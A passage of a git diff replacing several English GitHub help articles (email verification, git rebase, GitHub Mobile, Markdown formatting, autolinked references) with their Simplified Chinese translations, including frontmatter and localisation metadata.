75c455907ab0cc89f1ba8b30d6fa1d37f2d9798f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145109496' --- -## About email verification +## 关于电子邮件通知 -You can verify your email address after signing up for a new account, or when you add a new email address. If an email address is undeliverable or bouncing, it will be unverified. +您可在注册新帐户后或添加新电子邮件地址时验证您的电子邮件地址。 如果电子邮件地址无法送达或退回,它将无法进行验证。 -If you do not verify your email address, you will not be able to: - - Create or fork repositories - - Create issues or pull requests - - Comment on issues, pull requests, or commits - - Authorize {% data variables.product.prodname_oauth_app %} applications - - Generate {% data variables.product.pat_generic %}s - - Receive email notifications - - Star repositories - - Create or update project boards, including adding cards - - Create or update gists - - Create or use {% data variables.product.prodname_actions %} - - Sponsor developers with {% data variables.product.prodname_sponsors %} +如果没有验证电子邮件地址,您将无法: + - 创建或复刻仓库 + - 创建议题或拉取请求 + - 对议题、拉取请求或提交发表评论 + - 授权 {% data variables.product.prodname_oauth_app %} 应用程序 + - 生成个人访问令牌 + - 接收电子邮件通知 + - 对仓库加星标 + - 创建或更新项目板,包括添加卡片 + - 创建或更新 gist + - 创建或使用 {% data variables.product.prodname_actions %} + - 通过 {% data variables.product.prodname_sponsors %} 赞助开发者 {% warning %} -**Warnings**: +**警告**: - {% data reusables.user-settings.no-verification-disposable-emails %} - {% data reusables.user-settings.verify-org-approved-email-domain %} {% endwarning %} -## Verifying your email address +## 验证电子邮件地址 -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.emails %} -1. Under your email address, click **Resend verification email**. - ![Resend verification email link](/assets/images/help/settings/email-verify-button.png) -4. {% data variables.product.prodname_dotcom %} will send you an email with a link in it. After you click that link, you'll be taken to your {% data variables.product.prodname_dotcom %} dashboard and see a confirmation banner. - ![Banner confirming that your email was verified](/assets/images/help/settings/email-verification-confirmation-banner.png) +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %} +1. 在电子邮件地址下,单击“重新发送验证电子邮件”。 + ![重新发送验证电子邮件链接](/assets/images/help/settings/email-verify-button.png) +4. {% data variables.product.prodname_dotcom %} 将向您发送一封含有链接的电子邮件。 单击该链接后,您将转到 {% data variables.product.prodname_dotcom %} 仪表板并看到确认横幅。 + ![确认电子邮件已验证的横幅](/assets/images/help/settings/email-verification-confirmation-banner.png) -## Troubleshooting email verification +## 电子邮件验证故障排除 -### Unable to send verification email +### 无法发送验证电子邮件 {% data reusables.user-settings.no-verification-disposable-emails %} -### Error page after clicking verification link +### 单击验证链接后的错误页面 -The verification link expires after 24 hours. If you don't verify your email within 24 hours, you can request another email verification link. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)." +验证链接将在 24 小时后过期。 如果您没有在 24 小时内验证电子邮件,则可以请求其他电子邮件验证链接。 有关详细信息,请参阅“[验证电子邮件地址](/articles/verifying-your-email-address)”。 -If you click on the link in the confirmation email within 24 hours and you are directed to an error page, you should ensure that you're signed into the correct account on {% data variables.location.product_location %}. +如果您在 24 小时内单击了确认电子邮件中的链接并被定向到错误页面,则应确保您已登录到 {% data variables.product.product_location %} 上正确的帐户。 -1. {% data variables.product.signout_link %} of your personal account on {% data variables.location.product_location %}. -2. Quit and restart your browser. -3. {% data variables.product.signin_link %} to your personal account on {% data variables.location.product_location %}. -4. Click on the verification link in the email we sent you. +1. 您在 {% data variables.product.product_location %} 上的个人帐户的 {% data variables.product.signout_link %}。 +2. 退出并重新启动浏览器。 +3. 您在 {% data variables.product.product_location %} 上的个人帐户的 {% data variables.product.signin_link %}。 +4. 单击我们发送给您的电子邮件中的验证链接。 -## Further reading +## 延伸阅读 -- "[Changing your primary email address](/articles/changing-your-primary-email-address)" +- [更改主电子邮件地址](/articles/changing-your-primary-email-address) diff --git a/translations/zh-CN/content/get-started/using-git/about-git-rebase.md b/translations/zh-CN/content/get-started/using-git/about-git-rebase.md index 07389b8bb1..f7efe85e38 100644 --- a/translations/zh-CN/content/get-started/using-git/about-git-rebase.md +++ b/translations/zh-CN/content/get-started/using-git/about-git-rebase.md @@ -1,5 +1,5 @@ --- -title: About Git rebase +title: 关于 Git 变基 redirect_from: - /rebase - /articles/interactive-rebase @@ -7,68 +7,74 @@ redirect_from: - /github/using-git/about-git-rebase - /github/getting-started-with-github/about-git-rebase - /github/getting-started-with-github/using-git/about-git-rebase -intro: 'The `git rebase` command allows you to easily change a series of commits, modifying the history of your repository. You can reorder, edit, or squash commits together.' +intro: '`git rebase` 命令用于轻松更改一系列提交,修改存储库的历史记录。 您可以重新排序、编辑提交或将提交压缩到一起。' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' +ms.openlocfilehash: 5ffa3cbb1fcb6c8c37e56e434b08018582a0ff2b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145098889' --- -Typically, you would use `git rebase` to: +通常,你会使用 `git rebase` 来: -* Edit previous commit messages -* Combine multiple commits into one -* Delete or revert commits that are no longer necessary +* 编辑之前的提交消息 +* 将多个提交合并为一个 +* 删除或还原不再必要的提交 {% warning %} -**Warning**: Because changing your commit history can make things difficult for everyone else using the repository, it's considered bad practice to rebase commits when you've already pushed to a repository. To learn how to safely rebase on {% data variables.location.product_location %}, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)." +警告:由于更改提交历史记录可能会给其他人使用存储库造成困难,因此如果提交已经推送到存储库,建议不要执行提交变基。 若要了解如何在 {% data variables.product.product_location %} 上安全地变基,请参阅“[关于拉取请求合并](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)”。 {% endwarning %} -## Rebasing commits against a branch +## 对分支变基提交 -To rebase all the commits between another branch and the current branch state, you can enter the following command in your shell (either the command prompt for Windows, or the terminal for Mac and Linux): +要对另一个分支与当前分支状态之间的所有提交变基,可以在 shell(Windows 的命令提示符或者 Mac 和 Linux 的终端)中输入以下命令: ```shell -$ git rebase --interactive OTHER-BRANCH-NAME +$ git rebase --interactive other_branch_name ``` -## Rebasing commits against a point in time +## 对某一时间点变基提交 -To rebase the last few commits in your current branch, you can enter the following command in your shell: +要变基当前分支中最近的几个提交,可以在 shell 中输入以下命令: ```shell $ git rebase --interactive HEAD~7 ``` -## Commands available while rebasing +## 变基时可用的命令 -There are six commands available while rebasing: +变基时有六个命令可用:
pick
-
pick simply means that the commit is included. Rearranging the order of the pick commands changes the order of the commits when the rebase is underway. If you choose not to include a commit, you should delete the entire line.
+
pick 只表示包含提交。 在变基进行时重新排列 pick 命令的顺序会更改提交的顺序。 如果选择不包含提交,应删除整行。
reword
-
The reword command is similar to pick, but after you use it, the rebase process will pause and give you a chance to alter the commit message. Any changes made by the commit are not affected.
+
reword 命令类似于 pick,但在使用后,变基过程就会暂停,让你有机会改变提交消息。 提交所做的任何更改都不受影响。
edit
-
If you choose to edit a commit, you'll be given the chance to amend the commit, meaning that you can add or change the commit entirely. You can also make more commits before you continue the rebase. This allows you to split a large commit into smaller ones, or, remove erroneous changes made in a commit.
+
如果选择 edit 提交,你将有机会修订提交,也就是说,可以完全添加或更改提交。 您也可以创建更多提交后再继续变基。 这样您可以将大提交拆分为小提交,或者删除在提交中执行错误更改。
squash
-
This command lets you combine two or more commits into a single commit. A commit is squashed into the commit above it. Git gives you the chance to write a new commit message describing both changes.
+
此命令可用于将两个或以上的提交合并为一个。 下面的提交压缩到其上面的提交。 Git 让您有机会编写描述两次更改的新提交消息。
fixup
-
This is similar to squash, but the commit to be merged has its message discarded. The commit is simply merged into the commit above it, and the earlier commit's message is used to describe both changes.
+
这类似于 squash,但要合并的提交丢弃了其消息。 提交只是合并到其上面的提交,之前提交的消息用于描述两次更改。
exec
-
This lets you run arbitrary shell commands against a commit.
+
这可让您对提交运行任意 shell 命令。
-## An example of using `git rebase` +## 使用 `git rebase` 的示例 -No matter which command you use, Git will launch [your default text editor](/github/getting-started-with-github/associating-text-editors-with-git) and open a file that details the commits in the range you've chosen. That file looks something like this: +无论使用哪个命令,Git 都将启动[默认文本编辑器](/github/getting-started-with-github/associating-text-editors-with-git),并且打开一个文件,其中详细说明了所选范围的提交信息。 该文件类似于: ``` pick 1fc6c95 Patch A @@ -94,18 +100,18 @@ pick 7b36971 something to move before patch B # ``` -Breaking this information, from top to bottom, we see that: +从上到下分解此信息,我们可以看出: -- Seven commits are listed, which indicates that there were seven changes between our starting point and our current branch state. -- The commits you chose to rebase are sorted in the order of the oldest changes (at the top) to the newest changes (at the bottom). -- Each line lists a command (by default, `pick`), the commit SHA, and the commit message. The entire `git rebase` procedure centers around your manipulation of these three columns. The changes you make are *rebased* onto your repository. -- After the commits, Git tells you the range of commits we're working with (`41a72e6..7b36971`). -- Finally, Git gives some help by telling you the commands that are available to you when rebasing commits. +- 列出了七个命令,表示从起点到当前分支状态之间有七处更改。 +- 您选择要变基的提交按最早更改(顶部)到最新更改(底部)的顺序存储。 +- 每行列出一个命令(默认为 `pick`)、提交 SHA 和提交消息。 整个 `git rebase` 过程以这三列的操作为中心。 做出的更改将变基到存储库。 +- 提交后,Git 会告知正在处理的提交范围 (`41a72e6..7b36971`)。 +- 最后,Git 会提供一些帮助,告知在变基提交时可用的命令。 -## Further reading +## 延伸阅读 -- "[Using Git rebase](/articles/using-git-rebase)" -- [The "Git Branching" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Branching-Rebasing) -- [The "Interactive Rebasing" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Tools-Rewriting-History#_changing_multiple) -- "[Squashing commits with rebase](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)" -- "[Syncing your branch](/desktop/contributing-to-projects/syncing-your-branch)" in the {% data variables.product.prodname_desktop %} documentation +- [使用 Git 变基](/articles/using-git-rebase) +- [Pro Git 书籍中的“Git 分支”一章](https://git-scm.com/book/en/Git-Branching-Rebasing) +- [Pro Git 书籍中的“交互式变基”一章](https://git-scm.com/book/en/Git-Tools-Rewriting-History#_changing_multiple) +- [使用变基压缩提交](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html) +- {% data variables.product.prodname_desktop %} 文档中的“[同步分支](/desktop/contributing-to-projects/syncing-your-branch)” diff --git a/translations/zh-CN/content/get-started/using-github/github-mobile.md b/translations/zh-CN/content/get-started/using-github/github-mobile.md index 74cd8e8b2a..b35611d26c 100644 --- a/translations/zh-CN/content/get-started/using-github/github-mobile.md +++ b/translations/zh-CN/content/get-started/using-github/github-mobile.md @@ -1,6 +1,6 @@ --- title: GitHub Mobile -intro: 'Triage, collaborate, and manage your work on {% data variables.product.product_name %} from your mobile device.' +intro: '从移动设备对 {% data variables.product.product_name %} 上的工作进行分类、协作和管理。' versions: fpt: '*' ghes: '*' @@ -11,84 +11,87 @@ redirect_from: - /get-started/using-github/github-for-mobile - /github/getting-started-with-github/github-for-mobile - /github/getting-started-with-github/using-github/github-for-mobile +ms.openlocfilehash: a9af0848fdc26c5efd3dfb2d00076e3af5fb00bc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147508446' --- - -## About {% data variables.product.prodname_mobile %} +## 关于 {% data variables.product.prodname_mobile %} {% data reusables.mobile.about-mobile %} -{% data variables.product.prodname_mobile %} gives you a way to do high-impact work on {% data variables.product.product_name %} quickly and from anywhere. {% data variables.product.prodname_mobile %} is a safe and secure way to access your {% data variables.product.product_name %} data through a trusted, first-party client application. +{% data variables.product.prodname_mobile %} 让你可以随时随地快速高效地在 {% data variables.product.product_name %} 上执行重要工作。 {% data variables.product.prodname_mobile %} 通过可信的第一方客户端应用程序可以安全可靠地访问 {% data variables.product.product_name %} 数据。 -With {% data variables.product.prodname_mobile %} you can: +通过 {% data variables.product.prodname_mobile %},您可以: -- Manage, triage, and clear notifications -- Read, review, and collaborate on issues and pull requests -- Edit files in pull requests -- Search for, browse, and interact with users, repositories, and organizations -- Receive a push notification when someone mentions your username -{% ifversion fpt or ghec %}- Secure your GitHub.com account with two-factor authentication -- Verify your sign in attempts on unrecognized devices{% endif %} +- 管理、分类和清除通知 +- 阅读、审查及协作处理问题和拉取请求 +- 搜索、浏览用户、仓库和组织以及与之交互 +- 当有人提到用户名时收到推送通知 {% ifversion fpt or ghec %}- 使用双因素身份验证保护 GitHub.com 帐户 +- 在无法识别的设备上验证登录尝试{% endif %} -For more information about notifications for {% data variables.product.prodname_mobile %}, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-mobile)." +有关 {% data variables.product.prodname_mobile %} 的通知的详细信息,请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-mobile)”。 -{% ifversion fpt or ghec %}- For more information on two-factor authentication using {% data variables.product.prodname_mobile %}, see "[Configuring {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-github-mobile) and [Authenticating using {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication##verifying-with-github-mobile)." {% endif %} +{% ifversion fpt or ghec %}- 有关使用 {% data variables.product.prodname_mobile %} 进行双因素身份验证的详细信息,请参阅“[配置 {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-github-mobile) 和[使用 {% data variables.product.prodname_mobile %} 进行身份验证](/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication##verifying-with-github-mobile)”。 {% endif %} -## Installing {% data variables.product.prodname_mobile %} +## 安装 {% data variables.product.prodname_mobile %} -To install {% data variables.product.prodname_mobile %} for Android or iOS, see [{% data variables.product.prodname_mobile %}](https://github.com/mobile). +若要为 Android 或 iOS 安装 {% data variables.product.prodname_mobile %},请参阅 [{% data variables.product.prodname_mobile %}](https://github.com/mobile)。 -## Managing accounts +## 管理帐户 -You can be simultaneously signed into mobile with one personal account on {% data variables.product.prodname_dotcom_the_website %} and one personal account on {% data variables.product.prodname_ghe_server %}. For more information about our different products, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)." +可以使用 {% data variables.product.prodname_dotcom_the_website %} 上的一个个人帐户和 {% data variables.product.prodname_ghe_server %} 上的一个个人帐户同时登录到移动设备。 有关不同产品的详细信息,请参阅“[{% data variables.product.company_short %} 的产品](/get-started/learning-about-github/githubs-products)”。 {% data reusables.mobile.push-notifications-on-ghes %} -{% data variables.product.prodname_mobile %} may not work with your enterprise if you're required to access your enterprise over VPN. +如果您需要通过 VPN 访问企业,{% data variables.product.prodname_mobile %} 可能不适用于您的企业。 -### Prerequisites +### 先决条件 -You must install {% data variables.product.prodname_mobile %} 1.4 or later on your device to use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}. +您必须在设备上安装 {% data variables.product.prodname_mobile %} 1.4 或更高版本,才能使用 {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}。 -To use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, {% data variables.location.product_location %} must be version 3.0 or greater, and your enterprise owner must enable mobile support for your enterprise. For more information, see {% ifversion ghes %}"[Release notes](/enterprise-server/admin/release-notes)" and {% endif %}"[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %} +要同时使用 {% data variables.product.prodname_mobile %} 与 {% data variables.product.prodname_ghe_server %},{% data variables.product.product_location %} 必须为 3.0 或更高版本,并且企业所有者必须为企业启用移动版支持。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_server %} 文档中的 {% ifversion ghes %}“[发行说明](/enterprise-server/admin/release-notes)”和{% endif %}“[为企业管理 {% data variables.product.prodname_mobile %}]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise){% ifversion not ghes %}”。{% else %}。{% endif %} -During the beta for {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, you must be signed in with a personal account on {% data variables.product.prodname_dotcom_the_website %}. +在具有 {% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_mobile %} beta 版本期间,必须使用 {% data variables.product.prodname_dotcom_the_website %} 上的个人帐户登录。 -### Adding, switching, or signing out of accounts +### 添加、切换或登出账户 -You can sign into mobile with a personal account on {% data variables.product.prodname_ghe_server %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in. +可以使用 {% data variables.product.prodname_ghe_server %} 上的个人帐户登录到移动设备。 在应用的底部,长按 {% octicon "person" aria-label="The person icon" %}“个人资料”,然后点击 {% octicon "plus" aria-label="The plus icon" %}“添加企业帐户” 。 按提示登录。 -After you sign into mobile with a personal account on {% data variables.product.prodname_ghe_server %}, you can switch between the account and your account on {% data variables.product.prodname_dotcom_the_website %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to. +在 {% data variables.product.prodname_ghe_server %} 上使用个人帐户登录移动设备后,就可以在帐户和 {% data variables.product.prodname_dotcom_the_website %} 上的帐户之间进行切换。 在应用的底部,长按 {% octicon "person" aria-label="The person icon" %}“个人资料”,然后点击要切换到的帐户。 -If you no longer need to access data for your personal account on {% data variables.product.prodname_ghe_server %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**. +如果不再需要从 {% data variables.product.prodname_mobile %} 访问 {% data variables.product.prodname_ghe_server %} 上的个人帐户数据,则可以退出登录该帐户。 在应用底部,长按 {% octicon "person" aria-label="The person icon" %}“个人资料”,向左滑动要退出的帐户,然后点击“退出” 。 -## Supported languages for {% data variables.product.prodname_mobile %} +## {% data variables.product.prodname_mobile %} 支持的语言 -{% data variables.product.prodname_mobile %} is available in the following languages. +{% data variables.product.prodname_mobile %} 支持以下语言。 -- English -- Japanese -- Brazilian Portuguese -- Simplified Chinese -- Spanish +- 英语 +- 日语 +- 巴西葡萄牙语 +- 简体中文 +- 西班牙语 -If you configure the language on your device to a supported language, {% data variables.product.prodname_mobile %} will default to the language. You can change the language for {% data variables.product.prodname_mobile %} in {% data variables.product.prodname_mobile %}'s **Settings** menu. +如果将设备上的语言配置为受支持的语言,则 {% data variables.product.prodname_mobile %} 默认为该语言。 你可以在 {% data variables.product.prodname_mobile %} 的“设置”菜单中更改 {% data variables.product.prodname_mobile %} 的语言。 -## Managing Universal Links for {% data variables.product.prodname_mobile %} on iOS +## 管理 iOS 上 {% data variables.product.prodname_mobile %} 的通用链接 -{% data variables.product.prodname_mobile %} automatically enables Universal Links for iOS. When you tap any {% data variables.product.product_name %} link, the destination URL will open in {% data variables.product.prodname_mobile %} instead of Safari. For more information, see [Universal Links](https://developer.apple.com/ios/universal-links/) on the Apple Developer site. +{% data variables.product.prodname_mobile %} 自动启用 iOS 的通用链接。 当您点击任何 {% data variables.product.product_name %} 链接时,目标 URL 都会在 {% data variables.product.prodname_mobile %} 中打开,而不是在 Safari 中打开。 有关详细信息,请参阅 Apple 开发人员网站上的[通用链接](https://developer.apple.com/ios/universal-links/)。 -To disable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open**. Every time you tap a {% data variables.product.product_name %} link in the future, the destination URL will open in Safari instead of {% data variables.product.prodname_mobile %}. +若要禁用通用链接,请长按任何 {% data variables.product.product_name %} 链接,然后点击“打开”。 以后每次点击 {% data variables.product.product_name %} 链接时,目标 URL 将在 Safari 中打开,而不是在 {% data variables.product.prodname_mobile %} 中打开。 -To re-enable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open in {% data variables.product.prodname_dotcom %}**. +若要重新启用通用链接,请长按任意 {% data variables.product.product_name %} 链接,然后点击“在 {% data variables.product.prodname_dotcom %} 中打开”。 -## Sharing feedback +## 分享反馈 -You can submit feature requests or other feedback for {% data variables.product.prodname_mobile %} on [{% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions/categories/mobile). +可以在 [{% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions/categories/mobile) 上为 {% data variables.product.prodname_mobile %} 提交功能请求或其他反馈。 -## Opting out of beta releases for iOS +## 选择退出 iOS 的测试版 -If you're testing a beta release of {% data variables.product.prodname_mobile %} for iOS using TestFlight, you can leave the beta at any time. +如果您正在使用 TestFlight 参加 iOS 版 {% data variables.product.prodname_mobile %} 的测试,可以随时退出。 -1. On your iOS device, open the TestFlight app. -2. Under "Apps", tap **{% data variables.product.prodname_dotcom %}**. -3. At the bottom of the page, tap **Stop Testing**. +1. 在 iOS 设备上,打开 TestFlight app。 +2. 在“应用”下,点击 {% data variables.product.prodname_dotcom %}。 +3. 在页面底部,点击“停止测试”。 diff --git a/translations/zh-CN/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md b/translations/zh-CN/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md index ffec457383..ee6660f6cb 100644 --- a/translations/zh-CN/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md +++ b/translations/zh-CN/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md @@ -1,6 +1,6 @@ --- -title: About writing and formatting on GitHub -intro: GitHub combines a syntax for formatting text called GitHub Flavored Markdown with a few unique writing features. +title: 关于在 GitHub 上编写和设置格式 +intro: GitHub 结合了用于格式化文字的语法,称为 GitHub Flavored Markdown,具有一些独特的写作功能。 redirect_from: - /articles/about-writing-and-formatting-on-github - /github/writing-on-github/about-writing-and-formatting-on-github @@ -10,36 +10,40 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: About writing & formatting +shortTitle: Write & format on GitHub +ms.openlocfilehash: 7819ebc6bbf3ffa8696c87f82745a19c103c8134 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147860832' --- -[Markdown](http://daringfireball.net/projects/markdown/) is an easy-to-read, easy-to-write syntax for formatting plain text. +[Markdown](http://daringfireball.net/projects/markdown/) 是一种易于读取和编写的语法,用于设置纯文本格式。 -We've added some custom functionality to create {% data variables.product.prodname_dotcom %} Flavored Markdown, used to format prose and code across our site. +我们添加了一些自定义功能来创建 {% data variables.product.prodname_dotcom %} Flavored Markdown,用于格式化网站中的散文和代码。 -You can also interact with other users in pull requests and issues using features like [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), [issue and PR references](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests), and [emoji](/articles/basic-writing-and-formatting-syntax/#using-emoji). +还可以使用 [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)、[问题和 PR 参考](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests)和[表情包](/articles/basic-writing-and-formatting-syntax/#using-emoji)等功能在拉取请求和问题中与其他用户互动。 -## Text formatting toolbar +## 文本格式工具栏 -Every comment field on {% data variables.product.product_name %} contains a text formatting toolbar, allowing you to format your text without learning Markdown syntax. In addition to Markdown formatting like bold and italic styles and creating headers, links, and lists, the toolbar includes {% data variables.product.product_name %}-specific features such as @mentions, task lists, and links to issues and pull requests. +{% data variables.product.product_name %} 上的每个评论字段都包含文本格式工具栏,用于格式化文本,而无需了解 Markdown 语法。 除了 Markdown 格式设置(如粗体和斜体样式)和创建标题、链接及列表等之外,工具栏还包括 {% data variables.product.product_name %} 特定的功能,如 @mentions、任务列表和指向问题和拉取请求的链接。 {% ifversion fixed-width-font-gfm-fields %} -## Enabling fixed-width fonts in the editor +## 在编辑器中启用定宽字体 -You can enable a fixed-width font in every comment field on {% data variables.product.product_name %}. Each character in a fixed-width, or monospace, font occupies the same horizontal space which can make it easier to edit advanced Markdown structures such as tables and code snippets. +可以在 {% data variables.product.product_name %} 的每个注释字段中启用定宽字体。 定宽(也称固定宽度)字体中的每个字符占据相同的水平空间,这可以更容易地编辑高级 Markdown 结构,例如表和代码片段。 -![Screenshot showing the {% data variables.product.product_name %} comment field with fixed-width fonts enabled](/assets/images/help/writing/fixed-width-example.png) +![显示 {% data variables.product.product_name %} 注释字段的屏幕截图,其中启用了定宽字体](/assets/images/help/writing/fixed-width-example.png) -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.appearance-settings %} -1. Under "Markdown editor font preference", select **Use a fixed-width (monospace) font when editing Markdown**. - ![Screenshot showing the {% data variables.product.product_name %} comment field with fixed width fonts enabled](/assets/images/help/writing/enable-fixed-width.png) +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.appearance-settings %} +1. 在“Markdown 编辑器字体首选项”下,选择“编辑 Markdown 时使用定宽(固定宽度)字体”。 + ![显示 {% data variables.product.product_name %} 注释字段的屏幕截图,其中启用了定宽字体](/assets/images/help/writing/enable-fixed-width.png) {% endif %} -## Further reading +## 延伸阅读 -- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/) -- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)" -- "[Working with advanced formatting](/articles/working-with-advanced-formatting)" -- "[Quickstart for writing on {% data variables.product.prodname_dotcom %}](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)" +- [{% data variables.product.prodname_dotcom %} 样式的 Markdown 规范](https://github.github.com/gfm/) +- “[基本撰写和格式设置语法](/articles/basic-writing-and-formatting-syntax)” +- “[使用高级格式设置](/articles/working-with-advanced-formatting)” diff --git a/translations/zh-CN/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md b/translations/zh-CN/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md index 7898abc4e9..500f61c322 100644 --- a/translations/zh-CN/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md +++ b/translations/zh-CN/content/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls.md @@ -1,6 +1,6 @@ --- -title: Autolinked references and URLs -intro: 'References to URLs, issues, pull requests, and commits are automatically shortened and converted into links.' +title: 自动链接引用和 URL +intro: 对 URL、议题、拉取请求和提交的引用会自动缩短并转换为链接。 redirect_from: - /articles/autolinked-references-and-urls - /github/writing-on-github/autolinked-references-and-urls @@ -11,68 +11,68 @@ versions: ghae: '*' ghec: '*' shortTitle: Auto linked references +ms.openlocfilehash: 6f6548dbe931a7a6adb809aa4e5616db4358c242 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147419687' --- -## URLs +## URL -{% data variables.product.product_name %} automatically creates links from standard URLs. +{% data variables.product.product_name %} 自动从标准 URL 创建链接。 `Visit https://github.com` -![Rendered autolinked URL](/assets/images/help/writing/url-autolink-rendered.png) +![显示的自动链接的 URL](/assets/images/help/writing/url-autolink-rendered.png) -For more information on creating links, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax/#links)." +有关创建链接的详细信息,请参阅“[基本编写和格式设置语法](/articles/basic-writing-and-formatting-syntax/#links)”。 -## Issues and pull requests +## 议题和拉取请求 -Within conversations on {% data variables.product.product_name %}, references to issues and pull requests are automatically converted to shortened links. +在 {% data variables.product.product_name %} 上的对话中,对议题和拉取请求的引用将自动转换为缩短的链接。 {% note %} -**Note:** Autolinked references are not created in wikis or files in a repository. +**注意:** 在存储库的 wiki 或文件中没有创建自动链接的引用。 {% endnote %} -| Reference type | Raw reference | Short link | +| 引用类型 | 原始引用 | 短链接 | | --- | --- | --- | -| Issue or pull request URL | https://github.com/jlord/sheetsee.js/issues/26 | [#26](https://github.com/jlord/sheetsee.js/issues/26) -| `#` and issue or pull request number | #26 | [#26](https://github.com/jlord/sheetsee.js/issues/26) | -| `GH-` and issue or pull request number | GH-26 | [GH-26](https://github.com/jlord/sheetsee.js/issues/26) | -| `Username/Repository#` and issue or pull request number | jlord/sheetsee.js#26 | [jlord/sheetsee.js#26](https://github.com/jlord/sheetsee.js/issues/26) -| `Organization_name/Repository#` and issue or pull request number | github/linguist#4039 | [github/linguist#4039](https://github.com/github/linguist/pull/4039) +| 问题或拉取请求 URL | https://github.com/jlord/sheetsee.js/issues/26 | [#26](https://github.com/jlord/sheetsee.js/issues/26) +| `#` 和问题或拉取请求编号 | #26 | [#26](https://github.com/jlord/sheetsee.js/issues/26) | +| `GH-` 和问题或拉取请求编号 | GH-26 | [GH-26](https://github.com/jlord/sheetsee.js/issues/26) | +| `Username/Repository#` 和问题或拉取请求编号 | jlord/sheetsee.js#26 | [jlord/sheetsee.js#26](https://github.com/jlord/sheetsee.js/issues/26) +| `Organization_name/Repository#` 和问题或拉取请求编号 | github/linguist#4039 | [github/linguist#4039](https://github.com/github/linguist/pull/4039) -{% ifversion fpt or ghec %} -If you reference an issue, pull request, or discussion in a list, the reference will unfurl to 